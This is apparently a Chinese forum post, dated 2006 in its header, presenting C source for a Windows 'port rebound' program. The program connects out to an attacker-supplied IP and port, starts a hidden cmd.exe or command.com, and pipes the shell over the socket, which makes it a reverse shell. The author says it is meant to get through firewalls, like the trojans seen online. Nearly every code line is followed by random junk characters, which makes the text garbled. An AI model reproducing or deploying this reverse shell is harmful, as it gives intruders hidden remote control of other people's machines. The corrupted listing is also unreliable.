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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LwRzzgt  
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/* ============================== s`H|o'0  
Rebound port in Windows NT t`E5bWG  
By wind,2006/7 ]o]`X$n  
===============================*/ JyTETf,y  
#include Ewp2 1  
#include B G\)B  
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#pragma comment(lib,"wsock32.lib") @,e o*  
" Ot%{&:2  
void OutputShell(); VD7-;  
SOCKET sClient; esA^-$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |(*btdqy3  
I+;e#v,%U  
void main(int argc,char **argv) (E@;~7L  
{ hWbu Z%  
WSADATA stWsaData; {22ey`@`h  
int nRet; y\;oZ]J  
SOCKADDR_IN stSaiClient,stSaiServer; .<>t2,Af  
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if(argc != 3) _g/d/{-{Q  
{ 'l<$H=ZUVG  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0ZDm[#7z  
return; }v2p]D5n.  
} YT oG'#qs  
>^`#%$+  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9&=%shOc+x  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1}|y^oB\-  
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stSaiClient.sin_family = AF_INET; \mGb|aF8  
stSaiClient.sin_port = htons(0);  *\xRNgEQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]~dB| WB  
9 c9$cnQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xjU0&  
{ hz;SDaBA  
printf("Bind Socket Failed!\n"); `Zo5!"'  
return; jrN 5l1np  
} *!y04'p`<  
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stSaiServer.sin_family = AF_INET; OfBWf6b  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *vRHF1)L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .Qn#wub  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v"(6rZsa  
{ #S/~1{   
printf("Connect Error!"); hlV(jz  
return; *8a[M{-X  
} =v\}y+ Yh  
OutputShell(); y@*4*46v  
} i: UN  
C$])q`9  
void OutputShell() (AZneK :*  
{ ld(_+<e  
char szBuff[1024]; [7`S`\_NK  
SECURITY_ATTRIBUTES stSecurityAttributes; Pfvb?Hy  
OSVERSIONINFO stOsversionInfo; E{JTy{z-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M^ WoV }'  
STARTUPINFO stStartupInfo; EB+4]MsD  
char *szShell; bHSoQ \  
PROCESS_INFORMATION stProcessInformation; teDRX13=;  
unsigned long lBytesRead; b}7g>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bu pW*fD:  
sOWP0x  Y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8cY5:plK  
stSecurityAttributes.lpSecurityDescriptor = 0; 4jZt0  
stSecurityAttributes.bInheritHandle = TRUE; jzDPn<WQ  
i`CNgScF>  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E.:eO??g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z%.L d2Q{  
x?{l<mc  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?P7QAolrr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %iIr %P?  
stStartupInfo.wShowWindow = SW_HIDE; l@UF-n~[  
stStartupInfo.hStdInput = hReadPipe; u_ :gqvC=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  nSo.,72  
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GetVersionEx(&stOsversionInfo); ]nIVP   
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switch(stOsversionInfo.dwPlatformId) u5qaLHoEP  
{ su\Lxv  
case 1: ZyC[w 7$I2  
szShell = "command.com"; ct*~\C6Ze  
break; ?=iy 6q  
default: Q"pZPpl&  
szShell = "cmd.exe"; -y&>&D  
break; uh)f/)6  
} CD?b.Cxai  
6S%KUFB+e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vy5{Vm".4  
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send(sClient,szMsg,77,0); bsc b  
while(1) aFrZ ;_  
{ wjID*s[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [e.`M{(TB  
if(lBytesRead) u`+kH8#  
{ /6N!$*8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /WAOpf5  
send(sClient,szBuff,lBytesRead,0); W-RshZ\  
} %I)*5M6  
else +Sv2'& B  
{ R^ I4_ZA  
lBytesRead=recv(sClient,szBuff,1024,0); ]Ah<kq2sk  
if(lBytesRead<=0) break; fk5pPm|MiL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0[Zs8oRiI  
} 2F1Bz<  
} = p2AK\  
C0e oV}  
return; :VRQd}$Pi  
}
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